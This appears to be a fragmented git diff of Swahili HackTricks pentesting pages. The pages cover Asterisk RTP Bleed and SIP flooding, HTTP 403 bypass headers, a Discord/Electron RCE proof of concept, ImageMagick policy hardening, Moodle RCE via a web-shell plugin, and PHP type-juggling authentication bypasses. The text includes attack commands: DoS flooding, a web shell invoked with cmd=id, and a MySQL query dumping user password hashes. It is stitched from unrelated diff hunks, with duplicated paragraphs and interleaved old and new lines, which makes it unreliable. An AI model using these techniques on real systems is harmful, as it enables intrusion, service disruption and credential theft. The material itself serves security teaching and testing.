**RTCPBleed** ni tatizo kubwa la usalama linaloathiri seva za VoIP za msingi wa Asterisk (zilizochapishwa mwaka 2017). Uthibitisho huu unaruhusu **RTP (Real Time Protocol) traffic**, inayobeba mazungumzo ya VoIP, **kukamatwa na kuelekezwa na mtu yeyote kwenye Mtandao**. Hii inatokea kwa sababu trafiki ya RTP inapita uthibitisho inapokuwa inaviga kupitia moto wa NAT (Network Address Translation).
RTP proxies hujaribu kushughulikia **mipaka ya NAT** inayohusiana na mifumo ya RTC kwa kuproxy RTP streams kati ya wahusika wawili au zaidi. Wakati NAT ipo, programu ya RTP proxy mara nyingi haiwezi kutegemea taarifa za IP na bandari za RTP zilizopatikana kupitia ishara (e.g. SIP). Kwa hivyo, idadi ya RTP proxies zimeanzisha mekanizma ambapo **IP na port tuplet inajifunza kiotomatiki**. Hii mara nyingi hufanywa kwa kukagua trafiki ya RTP inayokuja na kuweka alama IP na bandari ya chanzo kwa trafiki yoyote ya RTP inayokuja kama ile ambayo inapaswa kujibiwa. Mekanizma hii, ambayo inaweza kuitwa "learning mode", **haitumii aina yoyote ya uthibitisho**. Kwa hivyo **washambuliaji** wanaweza **kutuma trafiki ya RTP kwa RTP proxy** na kupokea trafiki ya RTP iliyoprosiwa ambayo inapaswa kuwa kwa mpiga simu au mpokeaji wa mtiririko wa RTP unaoendelea. Tunaita udhaifu huu RTP Bleed kwa sababu unaruhusu washambuliaji kupokea mitiririko ya media ya RTP ambayo inapaswa kutumwa kwa watumiaji halali.
RTP proxies hujaribu kushughulikia **mipaka ya NAT** inayohusiana na mifumo ya RTC kwa kuproxy RTP streams kati ya pande mbili au zaidi. Wakati NAT ipo, programu ya RTP proxy mara nyingi haiwezi kutegemea taarifa za RTP IP na bandari zinazopatikana kupitia ishara (e.g. SIP). Kwa hivyo, idadi ya RTP proxies zimeanzisha mekanizma ambapo **IP na port tuplet inajifunza kiotomatiki**. Hii mara nyingi hufanywa kwa kukagua trafiki ya RTP inayokuja na kuashiria IP na bandari ya chanzo kwa trafiki yoyote ya RTP inayokuja kama ile ambayo inapaswa kujibiwa. Mekanizma hii, ambayo inaweza kuitwa "learning mode", **haitumii aina yoyote ya uthibitisho**. Kwa hivyo **washambuliaji** wanaweza **kutuma trafiki ya RTP kwa RTP proxy** na kupokea trafiki ya RTP iliyoprokwa ambayo inapaswa kuwa kwa mpiga simu au mpokeaji wa mtiririko wa RTP unaoendelea. Tunaita udhaifu huu RTP Bleed kwa sababu unaruhusu washambuliaji kupokea RTP media streams ambazo zinapaswa kutumwa kwa watumiaji halali.
Tabia nyingine ya kuvutia ya RTP proxies na RTP stacks ni kwamba wakati mwingine, **hata kama si hatarishi kwa RTP Bleed**, watakubali, kupeleka na/au kushughulikia pakiti za RTP kutoka chanzo chochote. Kwa hivyo washambuliaji wanaweza kutuma pakiti za RTP ambazo zinaweza kuwapa uwezo wa kuingiza media yao badala ya ile halali. Tunaita shambulio hili RTP injection kwa sababu inaruhusu kuingizwa kwa pakiti za RTP zisizo halali katika mitiririko ya RTP iliyopo. Uthibitisho huu unaweza kupatikana katika RTP proxies na mwisho.
Tabia nyingine ya kuvutia ya RTP proxies na RTP stacks ni kwamba wakati mwingine, **hata kama hazina udhaifu wa RTP Bleed**, zitakubali, kupeleka na/au kushughulikia pakiti za RTP kutoka chanzo chochote. Kwa hivyo washambuliaji wanaweza kutuma pakiti za RTP ambazo zinaweza kuwapa uwezo wa kuingiza media yao badala ya ile halali. Tunaita shambulio hili RTP injection kwa sababu inaruhusu kuingiza pakiti za RTP zisizo halali katika mitiririko ya RTP iliyopo. Uthibitisho huu unaweza kupatikana katika RTP proxies na mwisho.
Asterisk na FreePBX kwa kawaida wamekuwa wakitumia **`NAT=yes` setting**, ambayo inaruhusu trafiki ya RTP kupita uthibitisho, ambayo inaweza kusababisha kutokuwa na sauti au sauti ya upande mmoja kwenye simu.
@ -562,11 +560,11 @@ There is command called **`Shell`** that could be used **instead of `System`** t
- this could be used to create a new mysql user as backdoor
- **`FreePBX`**
- **`amportal.conf`** -> Inayo nenosiri la msimamizi wa paneli ya wavuti (FreePBX)
- **`FreePBX.conf`** -> Inayo nenosiri la mtumiaji FreePBXuser anayetumia kufikia hifadhidata
- **`FreePBX.conf`** -> Inayo nenosiri la mtumiaji FreePBXuser anayetumiwa kufikia hifadhidata
- this could be used to create a new mysql user as backdoor
- **`Elastix`**
- **`Elastix.conf`** -> Inayo nenosiri kadhaa kwa maandiko wazi kama nenosiri la mysql root, nenosiri la IMAPd, nenosiri la msimamizi wa wavuti
- **Makaratasi kadhaa** yatakuwa chini ya mtumiaji aliyeathiriwa wa asterisk (ikiwa haifanyi kazi kama root). Mtumiaji huyu anaweza kusoma faili za awali na pia anadhibiti usanidi, hivyo anaweza kufanya Asterisk kupakia binaries nyingine zenye backdoor wakati inatekelezwa.
- **Several folders** will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.
### RTP Injection
@ -578,9 +576,9 @@ Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando
There are several ways to try to achieve DoS in VoIP servers.
- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood sends unlimited messages to the target.
- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood sends unlimited messages to the target.
- `sippts flood -i 10.10.0.10 -m invite -v`
- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping makes a SIP ping to see the server response time.
- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping makes a SIP ping to see the server response time.
- `sippts ping -i 10.10.0.10`
- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP.

View File

@ -8,12 +8,12 @@ Jaribu kutumia **vitenzi tofauti** kufikia faili: `GET, HEAD, POST, PUT, DELETE,
- Angalia vichwa vya majibu, labda taarifa fulani zinaweza kutolewa. Kwa mfano, **jibu la 200** kwa **HEAD** lenye `Content-Length: 55` lina maana kwamba **kitenzi cha HEAD kinaweza kufikia taarifa**. Lakini bado unahitaji kupata njia ya kuhamasisha taarifa hiyo.
- Kutumia kichwa cha HTTP kama `X-HTTP-Method-Override: PUT` kunaweza kubadilisha kitenzi kilichotumika.
- Tumia **`TRACE`** kitenzi na ikiwa una bahati sana labda katika jibu unaweza kuona pia **vichwa vilivyoongezwa na proxies za kati** ambavyo vinaweza kuwa na manufaa.
- Tumia **`TRACE`** kitenzi na ikiwa una bahati sana labda katika jibu unaweza pia kuona **vichwa vilivyoongezwa na proxies za kati** ambavyo vinaweza kuwa na manufaa.
## HTTP Headers Fuzzing
- **Badilisha kichwa cha Host** kuwa thamani yoyote ([ambayo ilifanya kazi hapa](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- Jaribu [**kutumia Wakala wengine wa Mtumiaji**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kufikia rasilimali.
- **Badilisha kichwa cha Host** kuwa thamani isiyo ya kawaida ([ambayo ilifanya kazi hapa](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- Jaribu [**kutumia Wakala Wengine wa Mtumiaji**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kufikia rasilimali.
- **Fuzz HTTP Headers**: Jaribu kutumia HTTP Proxy **Headers**, HTTP Authentication Basic na NTLM brute-force (kwa mchanganyiko machache tu) na mbinu nyingine. Ili kufanya yote haya nimeunda zana [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
- `X-Originating-IP: 127.0.0.1`
@ -30,7 +30,7 @@ Jaribu kutumia **vitenzi tofauti** kufikia faili: `GET, HEAD, POST, PUT, DELETE,
- `X-ProxyUser-Ip: 127.0.0.1`
- `Host: localhost`
Ikiwa **njia imekingwa** unaweza kujaribu kupita ulinzi wa njia hiyo kwa kutumia vichwa hivi vingine:
Ikiwa **njia imekingwa** unaweza kujaribu kupita kinga ya njia hii kwa kutumia vichwa hivi vingine:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
@ -38,14 +38,14 @@ Ikiwa **njia imekingwa** unaweza kujaribu kupita ulinzi wa njia hiyo kwa kutumia
- Ikiwa ukurasa uko **nyuma ya proxy**, labda ni proxy inayokuzuia kufikia taarifa za kibinafsi. Jaribu kutumia [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **au** [**vichwa vya hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
- Fuzz [**vichwa maalum vya HTTP**](special-http-headers.md) ukitafuta majibu tofauti.
- **Fuzz vichwa maalum vya HTTP** wakati wa fuzzing **HTTP Methods**.
- **Ondoa kichwa cha Host** na labda utaweza kupita ulinzi.
- **Ondoa kichwa cha Host** na labda utaweza kupita kinga hiyo.
## Path **Fuzzing**
Ikiwa _/path_ imezuiwa:
- Jaribu kutumia _**/**_**%2e/path \_(ikiwa ufikiaji umezuiwa na proxy, hii inaweza kupita ulinzi). Jaribu pia**\_\*\* /%252e\*\*/path (kuandika tena URL mara mbili)
- Jaribu **Unicode bypass**: _/**%ef%bc%8f**path_ (Herufi zilizowekwa URL ni kama "/") hivyo wakati zinapandishwa tena itakuwa _//path_ na labda tayari umepita ukaguzi wa jina _/path_
- Jaribu kutumia `/%2e/path` (ikiwa ufikiaji umezuiwa na proxy, hii inaweza kupita kinga). Jaribu pia `/%252e**/path` (kuandika tena URL mara mbili)
- Jaribu **Unicode bypass**: _/**%ef%bc%8f**path_ (Herufi zilizowekwa URL ni kama "/") hivyo wakati zinapowekwa tena itakuwa _//path_ na labda tayari umepita ukaguzi wa jina _/path_
- **Njia nyingine za kupita**:
- site.com/secret > HTTP 403 Forbidden
- site.com/SECRET > HTTP 200 OK
@ -78,7 +78,7 @@ Ikiwa _/path_ imezuiwa:
- Ondoa vigezo
- Panga upya vigezo
- Tumia herufi maalum.
- Fanya majaribio ya mipaka katika vigezo — toa thamani kama _-234_ au _0_ au _99999999_ (thamani chache za mfano).
- Fanya majaribio ya mipaka katika vigezo — toa thamani kama _-234_ au _0_ au _99999999_ (mfano wa thamani tu).
## **Protocol version**
@ -105,7 +105,7 @@ root toor
test test
guest guest
```
## Vifaa vya Otomatiki
## Vifaa vya Moja kwa Moja
- [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)

View File

@ -1,4 +1,4 @@
# Electron contextIsolation RCE kupitia preload code
# Electron contextIsolation RCE via preload code
{{#include ../../../banners/hacktricks-training.md}}
@ -29,18 +29,18 @@ return 1337
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
Angalia slaidi za asili kwa njia nyingine za kutekeleza programu bila kuwa na dirisha linalouliza ruhusa.
Angalia slaidi za asili kwa njia nyingine za kutekeleza programu bila kuwa na kidokezo kinachouliza ruhusa.
Kwa apparently, njia nyingine ya kupakia na kutekeleza msimbo ni kufikia kitu kama `file://127.0.0.1/electron/rce.jar`
Kwa kweli njia nyingine ya kupakia na kutekeleza msimbo ni kufikia kitu kama `file://127.0.0.1/electron/rce.jar`
## Mfano 2: Discord App RCE
Mfano kutoka [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
Wakati wa kuangalia skripti za preload, niligundua kuwa Discord inatoa kazi, ambayo inaruhusu baadhi ya moduli zinazoruhusiwa kuitwa kupitia `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, kwenye ukurasa wa wavuti.\
Hapa, sikuweza kutumia moduli ambazo zinaweza kutumika kwa RCE moja kwa moja, kama moduli ya _child_process_, lakini **nilipata msimbo ambapo RCE inaweza kupatikana kwa kubadilisha mbinu za ndani za JavaScript** na kuingilia kati utekelezaji wa moduli iliyofichuliwa.
Wakati wa kuangalia skripti za preload, niligundua kuwa Discord inatoa kazi, ambayo inaruhusu baadhi ya moduli zinazoruhusiwa kuitwa kupitia `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, ndani ya ukurasa wa wavuti.\
Hapa, sikuweza kutumia moduli ambazo zinaweza kutumika kwa RCE moja kwa moja, kama vile moduli ya _child_process_, lakini **nilipata msimbo ambapo RCE inaweza kupatikana kwa kubadilisha mbinu za ndani za JavaScript** na kuingilia kati utekelezaji wa moduli iliyofichuliwa.
Ifuatayo ni PoC. Niliweza kuthibitisha kwamba programu ya **calc** inajitokeza wakati n**inapoitisha kazi ya `getGPUDriverVersions`** ambayo imefafanuliwa katika moduli inayoitwa "_discord_utils_" kutoka devTools, wakati **nikibadilisha `RegExp.prototype.test` na `Array.prototype.join`**.
Ifuatayo ni PoC. Niliweza kuthibitisha kwamba programu ya **calc** inajitokeza wakati n**inapoitwa kazi ya `getGPUDriverVersions`** ambayo imefafanuliwa katika moduli inayoitwa "_discord_utils_" kutoka devTools, wakati **nikibadilisha `RegExp.prototype.test` na `Array.prototype.join`**.
```javascript
RegExp.prototype.test = function () {
return false
@ -52,7 +52,7 @@ DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
```
Funguo la `getGPUDriverVersions` inajaribu kutekeleza programu kwa kutumia maktaba ya "_execa_", kama ifuatavyo:
Funguo la `getGPUDriverVersions` linajaribu kutekeleza programu kwa kutumia maktaba ya "_execa_", kama ifuatavyo:
```javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
@ -71,6 +71,12 @@ result.nvidia = { error: e.toString() }
return result
}
```
Kawaida _execa_ inajaribu kutekeleza "_nvidia-smi.exe_", ambayo imeainishwa katika mabadiliko ya `nvidiaSmiPath`, hata hivyo, kutokana na `RegExp.prototype.test` na `Array.prototype.join` zilizobadilishwa, **hoja inabadilishwa kuwa "**_**calc**_**" katika \_execa**\_**'s internal processing**.
Kawaida _execa_ inajaribu kutekeleza "_nvidia-smi.exe_", ambayo imeainishwa katika mabadiliko ya `nvidiaSmiPath`, hata hivyo, kutokana na `RegExp.prototype.test` na `Array.prototype.join` zilizobadilishwa, **hoja inabadilishwa kuwa "**_**calc**_**" katika usindikaji wa ndani wa _execa**_**.
Haswa, hoja inabadilishwa kwa kubadilisha sehemu mbili zifuatazo.
Haswa, hoja inabadilishwa kwa kubadilisha sehemu mbili zifuatazo.
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,46 +1,46 @@
# Usalama wa ImageMagick
# ImageMagick Security
{{#include ../../banners/hacktricks-training.md}}
Angalia maelezo zaidi katika [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
Check further details in [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
ImageMagick, maktaba ya usindikaji wa picha yenye uwezo mwingi, inatoa changamoto katika kuunda sera zake za usalama kutokana na chaguzi zake nyingi na ukosefu wa nyaraka za kina mtandaoni. Watumiaji mara nyingi huunda sera kulingana na vyanzo vilivyovunjika vya mtandao, na kusababisha uwezekano wa makosa ya usanidi. Maktaba inasaidia aina mbalimbali za zaidi ya fomati 100 za picha, kila moja ikichangia katika ugumu wake na wasifu wa udhaifu, kama inavyoonyeshwa na matukio ya kihistoria ya usalama.
ImageMagick, maktaba ya usindikaji picha yenye uwezo mwingi, inatoa changamoto katika kuunda sera zake za usalama kutokana na chaguzi zake nyingi na ukosefu wa nyaraka za kina mtandaoni. Watumiaji mara nyingi huunda sera kulingana na vyanzo vya mtandaoni vilivyovunjika, na kusababisha uwezekano wa makosa ya usanidi. Maktaba inasaidia aina mbalimbali zaidi ya 100 za muundo wa picha, kila moja ikichangia katika ugumu wake na wasifu wa udhaifu, kama inavyoonyeshwa na matukio ya kihistoria ya usalama.
## kuelekea Sera Salama
## Towards Safer Policies
Ili kushughulikia changamoto hizi, [chombo kimeandaliwa](https://imagemagick-secevaluator.doyensec.com/) kusaidia katika kubuni na kukagua sera za usalama za ImageMagick. Chombo hiki kimejikita katika utafiti wa kina na kinakusudia kuhakikisha sera sio tu thabiti bali pia hazina mapengo yanayoweza kutumiwa.
Ili kushughulikia changamoto hizi, [chombo kimeandaliwa](https://imagemagick-secevaluator.doyensec.com/) kusaidia katika kubuni na kukagua sera za usalama za ImageMagick. Chombo hiki kina msingi wa utafiti wa kina na kinakusudia kuhakikisha sera sio tu thabiti bali pia hazina mapengo yanayoweza kutumika.
## Njia ya Orodha ya Kuruhusiwa dhidi ya Orodha ya Kukataliwa
## Allowlist vs Denylist Approach
Kihistoria, sera za ImageMagick zilitegemea njia ya orodha ya kukataliwa, ambapo waandishi maalum walikatazwa kupata ufikiaji. Hata hivyo, mabadiliko katika ImageMagick 6.9.7-7 yalihamisha mtindo huu, na kuwezesha njia ya orodha ya kuruhusiwa. Njia hii kwanza inakataza waandishi wote na kisha inatoa ufikiaji kwa wale walioaminika, ikiongeza hali ya usalama.
Kihistoria, sera za ImageMagick zilitegemea mbinu ya denylist, ambapo waandishi maalum walikatazwa kupata ufikiaji. Hata hivyo, mabadiliko katika ImageMagick 6.9.7-7 yalihamisha mtindo huu, na kuwezesha mbinu ya allowlist. Mbinu hii kwanza inakataza waandishi wote na kisha inatoa ufikiaji kwa wale walioaminika, ikiongeza usalama.
```xml
...
<policy domain="coder" rights="none" pattern="*" />
<policy domain="coder" rights="read | write" pattern="{GIF,JPEG,PNG,WEBP}" />
...
```
## Uthibitisho wa Kesi katika Sera
## Uwezo wa Kesi katika Sera
Ni muhimu kutambua kwamba mifumo ya sera katika ImageMagick ina uthibitisho wa kesi. Hivyo basi, kuhakikisha kwamba waandishi wa programu na moduli zimeandikwa kwa herufi kubwa katika sera ni muhimu ili kuzuia ruhusa zisizokusudiwa.
Ni muhimu kutambua kwamba mifumo ya sera katika ImageMagick ina uwezo wa kesi. Hivyo basi, kuhakikisha kwamba waandishi wa programu na moduli zimeandikwa kwa herufi kubwa katika sera ni muhimu ili kuzuia ruhusa zisizokusudiwa.
## Mipaka ya Rasilimali
ImageMagick inakabiliwa na mashambulizi ya kukatiza huduma ikiwa haijawekwa ipasavyo. Kuweka mipaka ya rasilimali wazi katika sera ni muhimu ili kuzuia udhaifu kama huo.
## Ukatwaji wa Sera
## Ukatishaji wa Sera
Sera zinaweza kukatwa katika usakinishaji tofauti wa ImageMagick, na kusababisha migongano au kuzidiana. Inapendekezwa kutafuta na kuthibitisha faili za sera zinazofanya kazi kwa kutumia amri kama:
Sera zinaweza kukatwa katika usakinishaji tofauti wa ImageMagick, na kusababisha migongano au kuzidisha. Inapendekezwa kutafuta na kuthibitisha faili za sera zinazofanya kazi kwa kutumia amri kama:
```shell
$ find / -iname policy.xml
```
## Sera ya Kuanza, Inayopunguza
## Sera ya Mwanzo, Inayopunguza
Kigezo cha sera inayopunguza kimependekezwa, kikilenga mipaka ya rasilimali kali na udhibiti wa ufikiaji. Kigezo hiki kinatumika kama msingi wa kuunda sera zilizobinafsishwa zinazolingana na mahitaji maalum ya programu.
Ufanisi wa sera ya usalama unaweza kuthibitishwa kwa kutumia amri ya `identify -list policy` katika ImageMagick. Zaidi ya hayo, chombo cha [evaluator](https://imagemagick-secevaluator.doyensec.com/) kilichotajwa hapo awali kinaweza kutumika kuboresha sera kulingana na mahitaji ya mtu binafsi.
Ufanisi wa sera ya usalama unaweza kuthibitishwa kwa kutumia amri `identify -list policy` katika ImageMagick. Zaidi ya hayo, chombo cha [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) kilichotajwa hapo awali kinaweza kutumika kuboresha sera kulingana na mahitaji ya mtu binafsi.
## Marejeo
## Marejeleo
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -66,11 +66,11 @@ Nimegundua kwamba zana za kiotomatiki ni **zisizo na maana katika kutafuta udhai
## **RCE**
Unahitaji kuwa na **meneja** nafasi na unaweza **kusanidi plugins** ndani ya **"Site administration"** tab\*\*:\*\*
Unahitaji kuwa na **meneja** nafasi na unaweza **kusanidi plugins** ndani ya **"Site administration"** tab**:**
![](<../../images/image (630).png>)
Ikiwa wewe ni meneja unaweza bado kuhitaji **kuamsha chaguo hili**. Unaweza kuona jinsi katika moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Ikiwa wewe ni meneja bado unaweza kuhitaji **kuamsha chaguo hili**. Unaweza kuona jinsi katika moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Kisha, unaweza **kusanidi plugin ifuatayo** ambayo ina classic pentest-monkey php r**ev shell** (_kabla ya kuipakia unahitaji kuifungua, kubadilisha IP na bandari ya revshell na kuikandamiza tena_)
@ -78,7 +78,7 @@ Kisha, unaweza **kusanidi plugin ifuatayo** ambayo ina classic pentest-monkey ph
moodle-rce-plugin.zip
{{#endfile}}
Au unaweza kutumia plugin kutoka [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) kupata shell ya kawaida ya PHP na parameter "cmd".
Au unaweza kutumia plugin kutoka [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) kupata PHP shell ya kawaida na parameter "cmd".
Ili kufikia uzinduzi wa plugin mbaya unahitaji kufikia:
```bash
@ -86,11 +86,11 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
## POST
### Pata akreditif za database
### Pata sifa za database
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### Pata Akauti kutoka kwa hifadhidata
### Pata Akida kutoka kwa hifadhidata
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```

View File

@ -24,7 +24,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Ikiwa `==` inatumika katika PHP, basi kuna kesi zisizotarajiwa ambapo mifano haiwezi kutenda kama inavyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina sawa, ikiwa unataka pia kulinganisha kwamba aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`.
Mifano ya kulinganisha ya PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
Mizani ya kulinganisha ya PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
![](<../../../images/image (567).png>)
@ -32,18 +32,18 @@ Mifano ya kulinganisha ya PHP: [https://www.php.net/manual/en/types.comparisons.
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
{{#endfile}}
- `"string" == 0 -> True` Mfuatano ambao hauanzishi na nambari ni sawa na nambari
- `"0xAAAA" == "43690" -> True` Mfuatano ulio na nambari katika muundo wa dec au hex unaweza kulinganishwa na nambari/mfuatano mwingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mfuatano zinatafsiriwa kama nambari)
- `"0e3264578" == 0 --> True` Mfuatano unaoanza na "0e" na kufuatwa na chochote kitakuwa sawa na 0
- `"0X3264578" == 0X --> True` Mfuatano unaoanza na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote kitakuwa sawa na 0
- `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la mfuatano wa "0" na baadhi ya maudhui yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **mfuatano ambao tayari umehesabiwa** kwa muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` Herufi yoyote katika mfuatano ni sawa na int 0
- `"string" == 0 -> True` Mstari ambao hauanzishi na nambari ni sawa na nambari
- `"0xAAAA" == "43690" -> True` Mstari ulio na nambari katika mfumo wa dec au hex unaweza kulinganishwa na nambari/nyuzi nyingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mstari zinatafsiriwa kama nambari)
- `"0e3264578" == 0 --> True` Mstari unaoanza na "0e" na kufuatwa na chochote utakuwa sawa na 0
- `"0X3264578" == 0X --> True` Mstari unaoanza na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote utakuwa sawa na 0
- `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la mstari la "0" na maudhui fulani yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **nyuzi zilizohesabiwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` Herufi yoyote katika mstari ni sawa na int 0
Maelezo zaidi katika [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in_array()**
**Mabadiliko ya Aina** pia yanahusisha kazi ya `in_array()` kwa default (unahitaji kuweka kuwa kweli hoja ya tatu ili kufanya kulinganisha kwa ukali):
**Mabadiliko ya Aina** pia yanahusisha kazi ya `in_array()` kwa kawaida (unahitaji kuweka kuwa kweli hoja ya tatu ili kufanya kulinganisha kwa ukali):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -53,28 +53,28 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
Ikiwa kazi hii inatumika kwa **ukaguzi wowote wa uthibitishaji** (kama vile kuangalia nenosiri) na mtumiaji anadhibiti upande mmoja wa kulinganisha, anaweza kutuma array tupu badala ya string kama thamani ya nenosiri (`https://example.com/login.php/?username=admin&password[]=`) na kupita ukaguzi huu:
Ikiwa kazi hii inatumika kwa **ukaguzi wowote wa uthibitisho** (kama vile kuangalia nenosiri) na mtumiaji anadhibiti upande mmoja wa kulinganisha, anaweza kutuma array tupu badala ya string kama thamani ya nenosiri (`https://example.com/login.php/?username=admin&password[]=`) na kupita ukaguzi huu:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
Kosa hiyo hiyo inatokea na `strcasecmp()`
Kosa sawa inatokea na `strcasecmp()`
### Uchezaji Mkali wa Aina
### Ujanja wa Aina Mkali
Hata kama `===` inatumika, kunaweza kuwa na makosa ambayo yanafanya **kulinganisha kuwa hatarini** kwa **uchezaji wa aina**. Kwa mfano, ikiwa kulinganisha kuna **kubadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha**:
Hata kama `===` inatumika, kunaweza kuwa na makosa ambayo yanafanya **kulinganisha kuwa hatarini** kwa **ujanja wa aina**. Kwa mfano, ikiwa kulinganisha kuna **kubadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg_match(/^.\*/)
**`preg_match()`** inaweza kutumika ku **thibitisha pembejeo za mtumiaji** (ina **angalia** kama neno lolote/regex kutoka kwa **orodha ya madoa** lina **patikana** kwenye **pemebeo za mtumiaji** na ikiwa halipo, msimbo unaweza kuendelea na utekelezaji wake).
**`preg_match()`** inaweza kutumika **kuhakiki ingizo la mtumiaji** (ina **angalia** kama neno lolote/regex kutoka kwa **orodha ya madoa** lina **patikana** kwenye **ingizo la mtumiaji** na ikiwa halipo, msimbo unaweza kuendelea na utekelezaji wake).
#### New line bypass
Hata hivyo, wakati wa kuweka mipaka ya mwanzo wa regexp`preg_match()` **inaangalia tu mstari wa kwanza wa pembejeo za mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** pembejeo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita ukaguzi huu. Mfano:
Hata hivyo, wakati wa kuweka mwanzo wa regexp `preg_match()` **inaangalia tu mstari wa kwanza wa ingizo la mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** ingizo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita ukaguzi huu. Mfano:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -102,20 +102,18 @@ Ikiwa unaweza kutuma kwa `preg_match()` ingizo halali kubwa sana, **haitaweza ku
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
